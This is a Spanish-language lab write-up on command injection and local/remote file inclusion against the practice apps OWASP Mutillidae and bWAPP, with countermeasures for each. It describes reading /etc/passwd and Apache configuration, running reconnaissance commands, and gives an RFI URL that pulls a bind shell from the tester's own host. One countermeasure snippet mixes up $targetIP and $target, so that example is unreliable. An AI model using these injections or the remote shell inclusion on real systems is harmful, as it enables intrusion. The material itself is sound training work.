Demostración práctica de las vulnerabilidades de Inyección de comandos, LFI y RFI en OWASP y posibles contramedidas para mitigarlas

Inyección de comandos

Accedemos a OWASP Mutillidae.

Se pulsa en "OWASP 2013 AI - injection (other) Command InjectionDns lookup".

Usamos el comando pwd para conocer el directorio actual.

Se obtiene el listado de usuarios del archivo /etc/passwd.

Con el comando ls -la, podemos listar todos los archivos y archivos ocultos en el directorio actual.

Se listan los archivos del directorio /etc/apache2/.

Con el comando grep -i '(postgres | sql|db2|ora)', se comprueba si existe algún usuario llamado postgres, sql, db2 o ora.

Con el comando ps -eaf | egrep -i '(postgres | sql | db2 | ora)', se comprueba si hay procesos activos con esos nombres y en qué directorio.

Se listan todos los módulos activos que contiene Apache.

Se listan todos los módulos disponibles que contiene Apache.

Contramedidas para inyección de comandos

  • Primera contramedida: Validar contra una lista blanca de valores permitidos.
  • Segunda contramedida: Validar la entrada para que sea un número.
  • Tercera contramedida: Validar que la entrada contenga solo caracteres alfanuméricos, sin otra sintaxis o espacios en blanco (ejemplo: <?php echo 'hi'; ?>).
  • Cuarta contramedida: Siempre que sea posible, usar funciones integradas en lugar de comandos del sistema operativo (ejemplo: unlink($file)).
  • Quinta contramedida: Uso de filter_input. Ejemplo: <?php if ($targetIP = filter_input(INPUT_GET,'ip',FILTER_VALIDATE_IP)) { $cmd = exec( "ping $target" ); } else { die("Please provide a valid IP address"); }?>.
  • Sexta contramedida: Evitar usar exec(), shell_exec(), system(), passthru().
  • Séptima contramedida: Evitar el uso de strip_tags() para la desinfección.

LFI/RFI

Para explotar la vulnerabilidad de LFI/RFI, nos dirigimos a la máquina "bwapp" y seleccionamos "Remote & Local File Inclusion (RFI/LFI)" en el desplegable.

Iniciamos la inyección de comandos para obtener información del sistema. Al ir al directorio /etc/hostname, obtenemos el nombre de la máquina.

Se listan todos los usuarios en el archivo /etc/passwd.

Se listan los grupos del sistema desde el archivo /etc/group.

En el archivo /etc/apache2/apache2.conf, se puede ver la configuración de Apache.

Activamos Apache en nuestra máquina Kali para inyectar y mostrar nuestro Apache en la URL.

Bindshell

Se crea una bindshell para ejecutar comandos en la máquina OWASP.

El código PHP se incluye en la URL: 10.0.2.4/bWAPP/rlfi.php?language=http://10.0.2.7/bind.shell.txt&action=go&comando=ls.

Mediante la shell, se utilizan comandos del sistema para obtener información.

Se usa ls para listar los archivos del directorio actual.

Se usa el comando ps para mostrar todos los procesos activos de la máquina vulnerable.

Con el comando lshw, se muestra una lista de todos los componentes de hardware detectados.

El comando lsmod muestra el estado de los módulos del kernel.

El comando lspci muestra una lista de los dispositivos PCI del sistema.

El comando w muestra los usuarios activos en el sistema y lo que están ejecutando.

lsof muestra los archivos que un proceso tiene abiertos para poder ejecutarse.

Contramedidas RFI/LFI

  • Primera contramedida: Deshabilitar las funciones allow_url_include=off y allow_url_fopen=off en php.ini. La primera permite acceder a archivos remotos abiertos, y la segunda permite acceder a archivos remotos mediante instrucciones require o include.
  • Segunda contramedida: Restringir carpetas con permisos de escritura para evitar la subida de archivos maliciosos.
  • Tercera contramedida: Utilizar condiciones preestablecidas como alternativa a los nombres de archivo cuando la inclusión de archivos se basa en la entrada del usuario.